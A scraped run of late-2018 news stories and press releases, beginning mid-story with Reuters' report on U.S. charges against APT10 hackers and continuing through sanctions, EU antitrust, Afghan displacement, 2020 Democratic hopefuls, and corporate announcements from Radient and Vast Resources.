Hewlett Packard Enterprise Co and IBM, then used the access to hack into their clients' computers. IBM said it had no evidence that sensitive data had been compromised. HPE said it could not comment. Secretary of State Mike Pompeo and other officials in President Donald Trump's administration said China's hacking effort, which U.S. officials said began in 2006 and ran through 2018, violated a 2015 agreement intended to crack down on cyber espionage for commercial purposes. Story continues Britain agreed. The campaign is "one of the most serious, strategically significant, persistent and potentially damaging set of cyber intrusions against the UK and our allies that we have seen," a British security official said. Victims included NASA's Goddard Space Center and Jet Propulsion Laboratory, the Energy Department's Lawrence Berkeley National Laboratory and companies involved in aviation, space and satellite technology, finance, electronics, healthcare, oil and gas exploration, according to court documents. "The list of victim companies reads like a 'Who's Who' of the global economy," Wray said. He did not name the businesses. Tensions between Washington and Beijing are high over tit-for-tat trade tariffs and after Meng Wanzhou, chief financial officer of Chinese telecommunications giant Huawei Technologies, was arrested in Canada at the request of the United States. Meng was arrested on the same day the United States and China agreed to talks to resolve the trade dispute. CONSPIRACY CHARGES Prosecutors charged the defendants, who they said worked with China's Ministry of State Security intelligence agency, with conspiracy to commit computer intrusions, conspiracy to commit wire fraud and aggravated identity theft. Zhu and Zhang were members of a hacking group known within the cyber security community as APT 10 and also worked for a Tianjin company Huaying Haitai Science and Technology Development Co, prosecutors said. NASA said it did not believe agency missions were jeopardized by the hacking and took immediate action to secure affected servers. China's embassy in Washington did not respond to a request for comment. APT10 also stole personal data including Social Security numbers from more than 100,000 U.S. Navy personnel, they said. A Navy spokesperson said that sailors are notified immediately when there is a data breach, but declined further comment due to an ongoing investigation. The hacking targets also include technology firms that provide outsourced email, storage and other computing tasks, according to court documents. This is the latest in a series of hacking cases brought by the United States against Chinese nationals. In October, the U.S. government charged Chinese intelligence officers with stealing information on a turbo fan engine used in commercial jetliners. The same month, the Justice Department arrested an alleged spy for China's Ministry of State Security on charges of economic espionage and attempting to steal U.S. aviation trade secrets. In September, a Chinese national who had enlisted in the U.S. Army Reserve was arrested in Chicago for allegedly working for Chinese intelligence to recruit engineers and scientists, including some who worked for U.S. defense contractors. Australian officials issued a statement expressing "serious concern" about Chinese commercial intellectual property theft. An official in New Zealand said in a statement the country "joins likeminded partners in expressing that such cyber campaigns are unacceptable." Canada, Japan, the Netherlands and Sweden also were expected to denounce Chinese cyber efforts, according to a source who spoke on condition of anonymity. (Reporting by Diane Bartz, Lisa Lambert, David Shepardson, Susan Heavey in Washington and Jack Stubbs in London; Additional reporting by Jim Finkle; Writing by Alexandra Alper; Editing by Will Dunham and Sonya Hepinstall) WASHINGTON, Dec 19 (Reuters) - The United States imposed fresh Russia-related sanctions on Wednesday and said it intended to lift sanctions against Rusal Plc, EN+ and ESE, according to the Treasury Department website. The three companies had agreed to restructuring changes including reducing Russian tycoon Oleg Deripaska's stake. The Treasury added 18 individuals and four entities to the sanctions list, including the chief accountant for a Russian company allegedly involved in information warfare. (Reporting by Doina Chiacu; Editing by Chizu Nomiyama) FILE PHOTO: The Yelp Inc. logo is seen in their offices in Chicago, Illinois, March 5, 2015. REUTERS/Jim Young/File Photo By Foo Yun Chee BRUSSELS (Reuters) - Search company Yelp and lobby group Consumer Watchdog lost their joint bid to intervene in Google's challenge of a 2.4 billion euro ($2.7 billion) EU antitrust fine after a court said they had no direct interest in the case. The Luxembourg-based General Court also rejected applications from other Google rivals, according to a ruling on its website. The European Commission penalized Google, the world's most popular internet search engine, last year for favoring its own comparison shopping service. The case was triggered by British price comparison shopping site Foundem, while other European and U.S. rivals also filed complaints. U.S.-based Yelp and Consumer Watchdog had jointly sought to join the court proceedings so their rights and interests would be covered by the final ruling in the case. The General Court, however, backed Google's argument against Yelp's intervention, saying that while it took part as an interested third party in the EU investigation, it runs a different business from Google. "As Yelp does not operate a search service that specializes in comparison shopping results, it cannot be directly affected by the ruling regarding the contested act and thus does not satisfy the criterion laid down in the case-law," judges said. Yelp said the fight against Google was far from over. "It is unfortunate that U.S. consumer voices from this organization will not be included in this particular phase of the comparison shopping case," Yelp public policy senior vice president Luther Lowe said. "But we are ultimately heartened by reports that the Commission has opened an investigation into Google's anti-consumer behavior as it relates to local search." The court also dismissed lobbying group FairSearch's bid to intervene in the shopping case. Judges said FairSearch had failed to prove it is a representative body. They also rejected intervention bids from Prestige Gifting, Connexity, Pricegrabber.com Ltd and lobbying group ICOMP. This is one of two Google challenges against EU antitrust rulings, with the other related to Android. (Reporting by Foo Yun Chee; Editing by Susan Fenton and Andrew Cawthorne) STORIES YOU MIGHT LIKE ANDKHOY, Afghanistan -- Ongoing fighting between government forces and the Taliban insurgents has forced tens of thousands of civilians to flee their homes in a restive northern Afghan province. Officials and residents in Faryab, a rural province that borders Turkmenistan, say ongoing clashes in the once-peaceful Andkhoy and Qurghan districts have prompted a mass exodus. On December 18, hundreds of civilians were scrambling to find transport out of Andkhoy. They had gathered in the dusty town after fleeing their homes in the nearby villages of Qurghan, Deheqchee Khana, Akhtachee, and Tuquzdarak. We estimate that the fighting between government forces and the Taliban has displaced an estimated 5,000 families from Andkhoy and Qurghan, Sayed Aslam, the district administrator of Andkhoy, told Radio Free Afghanistan. The weeklong fighting has created a new humanitarian crisis in the remote province. Taliban factions and Islamic State militants have wreaked havoc in recent years by controlling remote districts in Faryab and neighboring Jawzjan districts. Insurgents control large parts of these regions, which are predominantly populated by ethnic Uzbeks and Turkmens. Local aid workers and charities are fighting hard to feed the displaced residents. Maulan Akbary, an activist in Andkhoy, says the impoverished region is fighting hard to look after displaced civilians. We are doing our best to accommodate the displaced at schools, offices, and guesthouses, he told Radio Free Afghanistan. In Kabul, Abdul Rauf Ibrahimi, speaker of the Wolesi Jirga or lower house of the parliament, called on the authorities to do their best to help civilians. We call on our governments security and defense departments to help the residents of the provinces of Bamiyan, Daikundi, and Faryab, where fighting has intensified in recent days, he told lawmakers on December 19. But the displaced residents of Faryab have seen little assistance. Jalaluddin, a displaced resident of Faryab who goes by one name only, says they have largely been ignored. We just received a little wheat flour, but we need a lot more help, he said. Afghan military officials in the region say the Afghan Armys Shaheen Corps are currently engaged in a large-scale offensive named Isar 10, which aims to combat insurgents in Faryab, Jawzjan, and neighboring Sar-e Pol Province. Earlier this week, General Mohammad Wali Ahmadzai, commander of the Shaheen Corps, said the offensive aims to beat insurgents and reopen a major road that links Faryabs capital, Maimana, to Jawzjan and the rest of the country. With support from [NATOs] Resolute Support troops, this offensive is moving ahead at full force, he told journalists. A major road project is underway at the 77-acre Crest at Woodmen on Colorado Springs north side, which the propertys owner expects will help attract a flurry of new office, retail and industrial users to the site. The roadwork is one of a series of changes and improvements planned at Crest at Woodmen the onetime Current USA campus thats envisioned as one of the Springs newer large-scale, mixed-use developments. Realm Realty of Houston, which bought the property southeast of Interstate 25 and Woodmen Road in 2015, has started construction on a 1,500-foot extension of Campus Drive through the site. Its targeted for completion in May. Campus Drive now ends just south of Woodmen; its extension will connect to a new roundabout at Vincent Drive on the southwest corner of Crest at Woodmen. The Campus Drive extension will run between existing office and industrial buildings on the site and is designed to improve traffic flow and access, said Casey Seale, Realms asset manager for the property. To accommodate the extension, a portion of the industrial building is being razed, he said. We believe the road will help the project immensely, Seale said. The road makes the entire 77-acre project more viable. Other changes at Crest at Woodmen include: Planet Fitness, a New Hampshire-based chain of fitness centers that has three Colorado Springs locations, has submitted plans to the citys Land Use Review Division showing it wants to bring a nearly 23,000-square-foot facility to the site. Planet Fitness would occupy a building on Crest at Woodmens north side. Another 44,000 square feet of that building will be available for other retail use, Seale said. A high-tech company has signed a lease to occupy 120,000 square feet, although Realm officials say they cant disclose the firms identity at this time. The firm will occupy space in a 403,000-square-foot industrial building. The high-tech company will join Current, the direct mail and catalog company founded in Colorado Springs in 1950 that continues to have a presence on site, although its operation has downsized over the years. Current has renewed its lease and occupies about 188,000 square feet in the industrial building. Its remaining 92,000 square feet also is being marketed for lease. A vacant, 140,000-square-foot office building is being marketed for lease and Realm is looking to add a roughly 600-stall parking lot to accommodate its tenants. Two free-standing, multitenant retail buildings are planned on the propertys north side, along Woodmen. Realm estimates its investment in Crest at Woodmen will total $60 million to $90 million over the next three years, depending on how many additional buildings are constructed; that figure could swell to $100 million to $120 million when new retailers, office users and other tenants arrive over the next few years. We feel good about the market, Seale said. We feel good about the trajectory of Colorado Springs. The status of Currents operation isnt known. The company, started by Springs residents Orin and Miriam Loo, once had more than $300 million in annual sales of greeting cards, decorations, gift wrap and other items. The property at I-25 and Woodmen had a Current outlet store, warehouse and distribution center. Current was purchased in 1998 by Minnesota-based printing giant Taylor Corp.; in 2015, Taylor sold Current to Regent Equity Partners, a Los Angeles private equity investment firm. Regent Equity didnt respond to a call from The Gazette seeking an update on the status of Currents operation. An unprecedented 45 Democrats are jockeying for the party's nomination to challenge President Trump in 2020 shattering the record for the number of candidates aspiring to be commander in chief. A review of potential contenders by the Washington Examiner reveals that up to 45 candidates could mount a serious bid to become leader of the free world. While many will undoubtedly decide against formally entering the race, most Democratic strategists expect at least two dozen to do so. Rep. David Cicilline of Rhode Island, co-chairman of the Democratic Policy and Communications Committee, said recently that the 2020 presidential contest could draw up to 40 Democratic hopefuls. Look, well have between 30 and 40 great candidates running for president, he told MSNBC. Everyone recognizes how urgent this moment is in our countrys history. To have more than 40 Democrats seeking to win the White House would be "historic," James Thurber, the director of American University's Center for Congressional and Presidential Studies, told the Washington Examiner. That number would be well over the 17 major Republicans who drew ire in 2016 for crowding the GOP primary field, ultimately to the benefit of Trump. And it would be more than six times as large as the "seven dwarfs," who were mocked for competing for the 1988 Democratic nomination, which went to then-Massachusetts Gov. Michael Dukakis. Dukakis went on to lose to then-Vice President George H.W. Bush. So who are the 45 contenders who could soon be vying to become the 46th president of the United States? EARLY FRONT-RUNNERS Two consistent favorites, according to early polls, are former Vice President Joe Biden and Sen. Bernie Sanders of Vermont, an independent who caucuses with Democrats. Biden, 76, and Sanders, 77, earned double-digit support from Democrats surveyed this month by SSRS for CNN. Biden had a 16-percentage-point lead over the socialist, who failed to win the party's nod in 2016 against Hillary Clinton. Sanders is favored by progressives. The septuagenarian stalwarts notched the same No. 1 and No. 2 finish when the poll was conducted in October, a trend pollsters partly attribute to their significant name recognition. FIRST-STRING CANDIDATES Sanders, who's said he'd "probably run" if he were the best bet to beat Trump, isn't the only senator considering a White House bid. His potential rivals include Sen. Elizabeth Warren of Massachusetts, who's released 10 years of tax returns and a DNA analysis after Trump attacked her claims to Native American ancestry. Warren, 69, who Trump has mockingly nicknamed "Pocahontas," is making all the moves expected of a candidate, though she has run into early problems. Sens. Cory Booker of New Jersey and Kamala Harris of California made clear by their performances during Supreme Court Justice Brett Kavanaugh's confirmation hearings that they see themselves as White House material. They have promised to go public on whether they plan to seek higher office in January the suspense is limited because both are expected to jump in. Sens. Sherrod Brown of Ohio, Kirsten Gillibrand of New York, and Amy Klobuchar of Minnesota are other senators tipped to enter the fray and become top-tier candidates. Brown has Rust Belt credibility and populist appeal, Gillibrand has been a leader of the #MeToo movement, and Klobuchar's quiet competence and "Minnesota nice" demeanor could be seen by Democrats as a welcome contrast with Trump. Brown, 66, has said he is "seriously" mulling a run; Gillibrand, 52, has described herself as "definitely thinking" about it; while Midwesterner Klobuchar, 58, has ventured that "voices from the Midwest" are needed in 2020 On the other side of the U.S. Capitol, Rep. Beto O'Rourke's popularity surged among Democrats nationwide as he challenged Republican incumbent Sen. Ted Cruz in November's election for a Texas Senate seat. Since his narrow loss, the three-term El Paso congressman and fundraising powerhouse, 46, has said he's not ruling "anything out" ahead of 2020. Biden, who's described himself as the "most qualified person in the country to be president," is also unlikely to be the sole Obama administration alumnus on the trail. Julian Castro, 44, the former Barack Obama Secretary of Housing and Urban Development and mayor of San Antonio, last week formed an exploratory committee and said he will make an official announcement on Jan. 12. In addition, billionaire philanthropist and ex-New York City Mayor Michael Bloomberg, who only re-registered as a Democrat in October, has launched a shadow campaign prior to making a decision in "January, February," per the Associated Press. Bloomberg, 76, poured $110 million into the 2018 midterm cycle to boost the Democratic Party. "It's one thing to say something, it's a different thing to have actually done it," Bloomberg told CNN during a trip to Iowa, referring to his decades-long career in New York City Hall. Maryland Rep. John Delaney and West Virginia state Sen. Richard Ojeda have declared their candidacy. Meanwhile, a slew of lesser-known entrants, such as Venture for America founder Andrew Yang and Oprah Winfrey-approved self-help guru Marianne Williamson have filed Federal Election Commission paperwork to start campaigning. Although the race has begun for some, it's already over for others. New York Gov. Andrew Cuomo, former Massachusetts Gov. Deval Patrick, and celebrity lawyer Michael Avenatti, the attorney advocating for porn star Stormy Daniels in her lawsuits against Trump, have all bowed out of contention. OTHER CONGRESSIONAL CONTENDERS But Democrats have a deep bench of talent in Congress. Sens. Michael Bennet of Colorado, Bob Casey of Pennsylvania, Tim Kaine of Virginia, Chris Murphy of Connecticut, and Mark Warner of Virginia are senatorial possibilities. Sen. Jeff Merkley of Oregon, however, will have to choose between the White House or the Senate because state law won't permit him to run for both. Simultaneously, Reps. Seth Moulton of Massachusetts and Tim Ryan of Ohio are prospects from the House whose profiles have risen thanks to their opposition to likely incoming House Speaker Nancy Pelosi of California. Rep. Joe Kennedy of Massachusetts is the target of persistent speculation given his last name, despite denying having 2020 aspirations. On the other hand, Rep. Tulsi Gabbard of Hawaii, a 2016 Sanders surrogate, has said she's "seriously" weighing a tilt at the presidential title. And Eric Swalwell California is said to be "definitely running." OBAMA LEGACY CANDIDATES Familiar Obama-era faces are expected to return to the national spotlight as well, including former Secretary of State John Kerry, the party's 2004 nominee, who's said he's "not taking anything off the table." Ex-Attorney General Eric Holder's been looking at becoming the party's standard-bearer for some time. Even defeated 2016 Democratic pick Hillary Clinton has hinted she'd still "like to be president." GOVERNORS Govs. Steve Bullock of Montana and Jay Inslee of Washington are raising money through their political action committees so they can springboard from their governor's mansions into the White House. Former Govs. Terry McAuliffe of Virginia and Martin O'Malley of Maryland are being floated as contenders following visits to early-voting states. Like O'Malley, who struggled to build momentum in 2016, unsuccessful 2018 gubernatorial candidates Stacey Abrams of Georgia and Andrew Gillum of Florida don't seem deterred by failure. Abrams has said she'll be ready "to get back in the ring" after a brief "nap," while Gillum, the previous mayor of Tallahassee, has been more proactive, addressing Democratic donors at a Washington party event. Then there's Colorado Gov. John Hickenlooper. A former brewpub founder, Hickenlooper, 66, has said he's "leaning strongly" toward a run and has been rumored to be contemplating joining Republican Ohio Gov. John Kasich on a bipartisan third ticket. Kasich has tried to downplay conjecture by joking that the name Hickenlooper is "too long" for a bumper sticker. Outgoing California Gov. Jerry Brown and his successor Gavin Newsom are also being discussed though the days of Brown, who has run for president three times, may be in the past and most Democrats see Newsom's as being after 2020. MAYORS Although Bloomberg is the best-known mayoral figure jostling to become the next occupant of the Oval Office, South Bend, Ind., Mayor Pete Buttigieg is viewed by many Democrats as a dark horse who could be worth backing. He stepped down as mayor this week, which is being interpreted as a strong indication he's in for 2020. Other mayors in the frame include Eric Garcetti of Los Angeles, Bill de Blasio of New York, and former New Orleans mayor Mitch Landrieu. OUTSIDERS Dallas Mavericks basketball owner and investor Mark Cuban is a well-resourced outsider who's postulated about a jump into politics, whereas hedge fund manager Tom Steyer has already taken the plunge. Like Bloomberg, Steyer has spent millions of dollars championing liberal causes, most notably Trump's impeachment. And he's started recruiting, last week anonymously posting a campaign jobs notice on LinkedIn. Retired Starbucks executive Howard Schultz who's due to embark on a national book tour, a perennial harbinger of White House ambitions has hired staff too, including Steve Schmidt, who managed the 2008 campaign of the late Sen. John McCain, R-Ariz. Jacob Patrick Ind, 41, who was sentenced to life in prison after the 1992 murders of his mother and stepfather in Woodland Park, could again walk free under a deal with prosecutors. Ind pleaded guilty Thursday to second-degree murder in the deaths of Frank and Pamela Kermode averting a retrial in which he was expected to argue that he attacked the pair in self-defense after extensive abuse. Leading Ohio Investors Share Insights to Support Thriving Startup Economy and Shape the Next Generation of Innovation COLUMBUS, Ohio, Oct. 29, 2018 (GLOBE NEWSWIRE) -- Executives from Ohio Innovation Fund (OIF), a leading venture capital firm that leverages Silicon Valley experience to help create the next generation of companies and industries in Ohio and throughout the Midwest, will speak at three events at The Ohio State University in November. OIF managing director Bill Baumel and partner Jill Raderstorf will share knowledge with students, entrepreneurs and other members of the Columbus community, furthering their mission to help foster a thriving startup culture and shape the next generation of innovation and investment in the state. These speaking engagements support OIFs commitment to raise visibility for Ohio and the Midwest as a leading hub for venture capital activity, with world-class research, leading innovators and partners in sectors such as healthcare, financial services, industrial products and consumer packaged goods, and a talented, and highly productive employee base. Bill Baumel and Jill Raderstorf will host a session titled Is VC Investment Right For You? at The Starting Line powered by The Innovation Studio at The Ohio State University College of Nursing. Greg Moran, Chief Operating Officer at OIF cybersecurity portfolio company Wiretap, will also speak to their decision to take on venture capital, and the strategic and operational implications of doing so. When: Tuesday, Nov. 13 at 1:00 p.m. Where: Idea Foundry, 421 W. State St., Columbus, Ohio Jill Raderstorf will speak at an ideation event for undergraduate students hosted by OHI/O , a program dedicated to fostering technology culture at Ohio State. Raderstorf will discuss the lean business canvas, an entrepreneur-focused business plan that places an emphasis on problems, solutions, key metrics and competitive advantages. When: Thursday, Nov. 15 at 6:00 p.m. Where: OSUs Center for Design and Manufacturing Excellence (CDME), 1314 Kinnear Road, Columbus, Ohio Bill Baumel and Jill Raderstorf will speak to an entrepreneurial business-focused class at the Michael E. Moritz College of Law at Ohio State. They will discuss the state of the VC ecosystem in Ohio and how OIF has guided its portfolio companies to scale, and increase revenues. When: Thursday, Nov. 15 at 3:15 p.m. Where: Moritz College of Law, 55 W 12th Ave, Room 351, Columbus, Ohio To learn more about these upcoming speaking engagements, or to read highlights from earlier speaking engagements, visit the Ohio Innovation Fund Growth and Prosperity blog , or read up on Ohio Innovation Fund and its diverse roster of portfolio companies . There youll find summaries of last months speaking engagements, including the Kent State College of Business Administrations Center for Entrepreneurship and Business Innovation's 2018 CEBIdea Pitch Competition , and the annual Deal Flow event hosted by Northeast Ohio Student Venture Fund (NEOSVF). About The Ohio Innovation Fund The Ohio Innovation Fund (OIF) provides venture capital and strategic, operational, and financial expertise to high-growth companies in the SaaS, Data Science, Cyber Security, and Med Tech markets. With more than twenty years of Silicon Valley venture capital experience, and close ties with a significant network of key Silicon Valley leaders, the partners of OIF have successful exits via several multi-billion-dollar valuation Initial Public Offerings as well as acquisitions by companies such as Medtronic, Dell, SAP, Intuit, and Stryker. OIF's companies have been featured by CNN, Forbes and The Wall Street Journal among others. For more information please visit www.ohioinnovationfund.com . EDMONTON, Alberta, Dec. 19, 2018 (GLOBE NEWSWIRE) -- Radient Technologies Inc. (Radient or the Company) (TSX Venture: RTI; OTCQX: RDDTF) is pleased to announce that it has now filed an additional 9 provisional patent applications with the United States Patent and Trademark Office (the USPTO), bringing the total number of patent applications filed by the Company in 2018 to 40. The inventions covered in these patent applications relate to methods and systems for improving the safety, potency, flavour, and experience of cannabinoid extracts used in the manufacturing of food & beverage products. Further Details: Patents for Innovating Cannabinoid-Infused Food & Beverage Manufacturing Processes These provisional patent applications provide methods that are expected to be critical in the cannabinoid-infused food and beverage industry. The methods relate to the measuring, dosing, and testing of cannabinoid additives used in food & beverage manufacturing processes. Because cannabinoids such as cannabidiol (CBD) and tetrahydrocannabinol (THC) are extracted from plant biomass, the ability to produce food and beverage products with consistent and measurable cannabinoid content and potency is highly desired by both customers and regulators. Several of these inventions provide novel solutions poised for widespread adoption in the flavouring of cannabinoid-infused food & beverage products. Traditionally, edible and drinkable cannabis products have been interlinked with flavours and aromas associated with the marijuana plant. There is a need in the market to meet customer demand for cannabinoid-infused food & beverage products with a variety of desirable flavours. Further, some of these provisional patent applications cover functional packaging elements for cannabinoid-infused food & beverage products that Radients extensive analysis indicates will be in line with the direction of the cannabis industry. These packaging elements are intended to provide additional safety measures and an improved user experience. These provisional applications were first filed in the USPTO to create a priority date and allow for future filings in other selected jurisdictions, as appropriate, including Canada and Europe. Dr. Steven Splinter, Founder and CTO of Radient, stated: With nearly 20 years of experience in developing and manufacturing extracts for our customers, providing our solutions to the food & beverage sector of the cannabis industry is a natural extension of our core capabilities. About Radient Radient extracts natural compounds from a range of biological materials using microwave assisted processing (MAP), a patented technology platform which provides superior customer outcomes in terms of ingredient purity, yield, and cost. From its 23,000 square foot manufacturing plant in Edmonton, Alberta, Radient serves market leaders in industries that include pharmaceutical, food, beverage, natural health, and personal care markets. Since 2016, Radient has expanded its offerings to enter the cannabinoids market utilizing its MAP platform to process and extract cannabinoids including cannabidiol and tetrahydrocannabinol from cannabis biomass. Visit www.radientinc.com for more information. SOURCE: Radient Technologies Inc. Denis Taschuk, Chief Executive Officer, dtaschuk@radientinc.com , (780) 465-1318; Mike Cabigon, Chief Operating Officer, mcabigon@radientinc.com , (780) 465-1318 Caitlin Cheadle, Director of Communications, ccheadle@radientinc.com Forward Looking Information: This press release contains forward-looking information within the meaning of applicable Canadian securities legislation. Forward-looking information includes, without limitation, statements regarding the growth of the Companys business operations; the Companys ability to receive approval for patent applications; the Companys ability to expand into the U.S.; the Companys ability to expand its operations in Europe and Canada; the Companys ability to grow its business in the cannabis sector and food and beverage industries; and the Companys future plans. Generally, forward-looking information can be identified by the use of forward-looking terminology such as plans, expects or does not expect, is expected, budget, scheduled, estimates, forecasts, intends, anticipates or does not anticipate, or believes, or variations of such words and phrases or state that certain actions, events or results may, could, would, might or will be taken, occur or be achieved. Forward-looking information is subject to known and unknown risks, uncertainties and other factors that may cause the actual results, level of activity, performance or achievements of Radient, as the case may be, to be materially different from those expressed or implied by such forward-looking information. Although Radient has attempted to identify important factors that could cause actual results to differ materially from those contained in forward-looking information, there may be other factors that cause results not to be as anticipated, estimated or intended. There can be no assurance that such information will prove to be accurate, as actual results and future events could differ materially from those anticipated in such statements. Accordingly, readers should not place undue reliance on forward-looking information. Radient does not undertake to update any forward-looking information, except in accordance with applicable securities laws. NEITHER THE TSX VENTURE EXCHANGE NOR ITS REGULATION SERVICES PROVIDER (AS THAT TERM IS DEFINED IN THE POLICIES OF THE TSX VENTURE EXCHANGE) ACCEPTS RESPONSIBILITY FOR THE ADEQUACY OR ACCURACY OF THIS RELEASE. Vast Resources plc / Ticker: VAST / Index: AIM / Sector: Mining 20 December 2018 Vast Resources plc (Vast or the Company) US$3,000,000 bridge facility Vast Resources plc, the AIM listed mining company with operations in Romania and Zimbabwe, is pleased to announce that it has entered into a US$3,000,000 bridge facility (the Facility) with the Bergen Global Opportunity Fund, LP (the Funder). The Facility will consist of two funding tranches, each of which will not be convertible into shares of the Company (the Shares) for the initial 30 days from the date of their respective advance; the initial advance will be provided on issue of each Convertible Security, as further detailed below. This facility has become necessary due to the continued delay, but still expected receipt, of the previously announced US$5,500,000 Tranche B of the Mercuria Prepayment facility. Highlights: A total of up to US$3,150,000 in zero coupon convertible securities in two equal tranches allows Vast to fund further working capital including for the Baita Plai Polymetallic Mine and other leading projects. This funding allows these projects to commence immediately prior to the receipt of the anticipated US$5,500,000 of Tranche B Mercuria funding which has been delayed due to local administrative reasons but is now expected early in the New Year. Funding provided by New York based fund, Bergen Global Opportunity Fund, LP, an institutional investor. Company may elect to repay each tranche in full within 90 days of execution date, subject to prior conversion rights which arise after an initial period of 30 days from the date of each advance. Staged funding potentially minimises dilution to existing shareholders. No warrants attached to the funding. The Company announces that it has entered into a convertible securities issuance deed (the Agreement) with the Funder, an institutional investment fund managed by Bergen Asset Management, LLC, a New York asset management firm, in connection with an issuance by the Company of zero coupon convertible securities having a nominal amount of up to US$3,150,000 (the Convertible Securities). The Convertible Securities will (subject to satisfaction of certain conditions) be issued in two tranches and the Company will make an announcement of the issue of each Convertible Security. The initial Convertible Security will have the nominal value of US$1,575,000 and will be issued shortly. The second Convertible Security will have the nominal value of US$1,575,000 and is expected to be issued within approximately a week of the date on which the Company obtains authority from its shareholders to allot Shares and to grant rights to subscribe for or convert securities into shares up to a maximum nominal amount of not less than 1,000,000, and to allot equity securities for cash other than in accordance with statutory pre-emption rights up to a maximum nominal amount of not less than 1,000,000. The Company expects to seek such approval from the shareholders not later than 31 January 2019. Each of the Convertible Securities will have a term of 12 months. No conversion rights will attach to either Convertible Security for the first 30 days after the date of its respective issue. Thereafter, the Convertible Securities will (subject to the satisfaction of certain conditions) be convertible into Shares of the Company, in whole or in part, at the option of the Funder. The Company will make an announcement if at any time any Convertible Securities are converted in whole or in part and will specify in such announcement the relevant conversion price, which will be, at the Funders election: (a) (as to no more than US$1,500,000 of the Convertible Securities) 0.0059 per share, calculated as 140% of average daily VWAPs during the 20 trading days prior to the execution date of the Agreement and (b) 92% of the average of five daily volume-weighted average prices of the Shares on AIM during a specified period preceding the relevant conversion (the Second Issue Price); in each case subject to rounding). In addition to the non-conversion period, the Funder has agreed to certain, substantial, limitations on its ability to dispose of the Shares following a conversion of the Convertible Securities, by reference to the trading volume of the Shares on AIM (provided that no default has occurred). Additionally, the Funder may postpone the funding of the second tranche of the Convertible Securities in the event that the market price of the Shares is below a specified level being 0.2p for any two consecutive trading days during the term of the Agreement and, should the price of the Shares remain below that level, elect not to fund the second tranche. The Funder is also contractually precluded from shorting the Companys shares. The Company will have the right to repurchase the Convertible Securities for cash at 100% of their nominal value (and without a fee or penalty) within 90 days of the execution date of the Agreement. In connection with the Agreement: (A) the Company will pay the Funder a fee of US$170,000 by way of offset against the purchase price of the initial Convertible Security and will pay a further fee of US$80,000 at or prior to the time of the issuance of the second Convertible Security offset against the purchase price of the second Convertible Security; (B) the Company has issued to the Funder 68,000,000 Shares at par to collateralize the investment. The Company has applied for admission of these Shares to trading on AIM, and this is expected to become effective on or about 31 December 2018. The Funder is required to make a further payment to the Company by way of fee (determined based on the Second Issue Price on the date of payment) once all of the obligations of the Company under the Agreement have been finally met and no amount remains outstanding to Investor; and (C) the Company has agreed to ensure that there are no less than Shares of 592,000 nominal value authorised but unissued available for issue to enable conversion of the initial Convertible Security (approximately 10% of the currently issued share capital) and to hold a General Meeting of the Company by 31 January 2019 to seek Shareholder approval for the authorities to issue Shares of a further 1,000,000 nominal value (to enable the Company to raise additional capital, if needed, and to ensure that sufficient headroom is available for conversion of the Convertible Securities, if needed). The Convertible Securities will only be issued (and converted (if at all)) to the extent that the Company has the authorities to do so. Application will be made to the London Stock Exchange for any Shares issued and allotted on conversion of the Convertible Securities to be admitted to trading on AIM. The proceeds for the issue of the new 68,000,000 Shares and the Convertible Securities will be used by the Company for long term lead items on Baita Plai Mine, initial expenditure on the Heritage Concession for diamonds in Zimbabwe and general working capital. Following the issue of the 68,000,000 Shares, which will rank pari passu with existing Ordinary Shares, the Company will have 5,859,746,392 Shares in issue with each Share carrying the right to one vote. There are no Shares currently held in treasury. The total number of voting rights in the Company is therefore 5,859,746,392 and this figure may be used by shareholders as the denominator for the calculations by which they determine if they are required to notify their interest in, or a change to their interest in, the Company under the Disclosure Rules and Transparency Rules published by the United Kingdom Listing Authority. Brian Moritz, Chairman of Vast, commented: It is important that the Company is able to direct funds towards the Baita Plai Polymetallic Mine in Romania and other leading projects. However, we are cognisant of our previous statements that we would avoid raising finance through convertible securities with a conversion price linked to the share price at the date of conversion. We have only undertaken this transaction as a short-term bridge of a limited size pending the receipt of the expected $5.5 million Tranche B pre-payment finance from Mercuria, which we are expecting to complete within the 30-day period prior to the conversion rights on the Convertible Securities becoming effective. Should conversion rights nevertheless be triggered, then the maximum dilution will be limited by our existing authorities, and any issues beyond that will require as stated above the approval of new authorities by Shareholders. About Bergen Asset Management LLC Bergen Global Opportunity Fund, LP (the Fund) is managed by Bergen Asset Management LLC, a New York-based asset management company. The Fund invests in high-growth public and private companies in a range of industries around the world. **ENDS** For further information, visit www.vastresourcesplc.com or please contact: Vast Resources plc Andrew Prelea (Chief Executive Officer) www.vastresourcesplc.com +44 (0) 20 7236 1177 Beaumont Cornish - Financial & Nominated Adviser Roland Cornish James Biddle www.beaumontcornish.com +44 (0) 020 7628 3396 Brandon Hill Capital Ltd Joint Broker Jonathan Evans www.brandonhillcapital.com +44 (0) 20 3463 5016 SVS Securities Plc Joint Broker Tom Curran Ben Tadd www.svssecurities.com +44 (0) 20 3700 0100 St Brides Partners Ltd Susie Geliher Juliet Earl www.stbridespartners.co.uk +44 (0) 20 7236 1177 The information contained within this announcement is deemed by the Company to constitute inside information as stipulated under the Market Abuse Regulations (EU) No. 596/2014 (MAR). Notes Vast Resources plc is an AIM listed mining and resource development company focussed on the rapid advancement of high-quality brownfield projects and recommencing production at previously producing mines in Romania and Zimbabwe. Vast Resources currently owns and operates the Manaila Polymetallic Mine in Romania, which was commissioned in 2015, and is focussed on its expansion through the development of a second open pit operation and new metallurgical complex at the Carlibaba Extension Area. The Companys Romanian portfolio also includes interests in two brownfield development projects; the Baita Plai Polymetallic Mine (80% interest), which has a reported 1,800,000-tonne copper-silver-zinc-lead-gold-tungsten-molybdenum ore body at 6% copper equivalent (Russian Reserves and Resources Reporting System) within the mining licence area; and the Blueberry Project (29.41% interest), a 7.285km brownfield area of prospectivity in the Golden Quadrilateral of Romania located in the immediate vicinity of the now closed Baia de Aries mine. The Company also has interests in a number of projects in Zimbabwe including a controlling 25 per cent. interest in the producing Pickstone-Peerless Gold Mine, a 23.75% economic interest in the Eureka Gold Mine, and an 86.67% interest in a SPV which has a due diligence access agreement and pre-agreed joint venture terms on a diamond concession within the Marange Diamond Fields, widely considered to be one of the richest sources of alluvial diamonds globally. Dublin, Dec. 20, 2018 (GLOBE NEWSWIRE) -- The "Research Report on Metal Mineral Import in China, 2019-2023" report has been added to ResearchAndMarkets.com's offering. With the rapid development of economy and industry, China has become the most important industrial company in the world, and its demand for metal minerals are also growing. Because of insufficient reserves, low ore grades and high mining costs, China needs to import a large quantity of metal minerals every year. According to the data from China Customs, in 2017, copper ore, manganese ore, bauxite, chrome ore and zinc ore were the five metal minerals that had the highest import value except for iron ore. Their import value all exceeded USD 2 billion. According to the researcher, in China, copper ore is the metal mineral whose import value is only second to 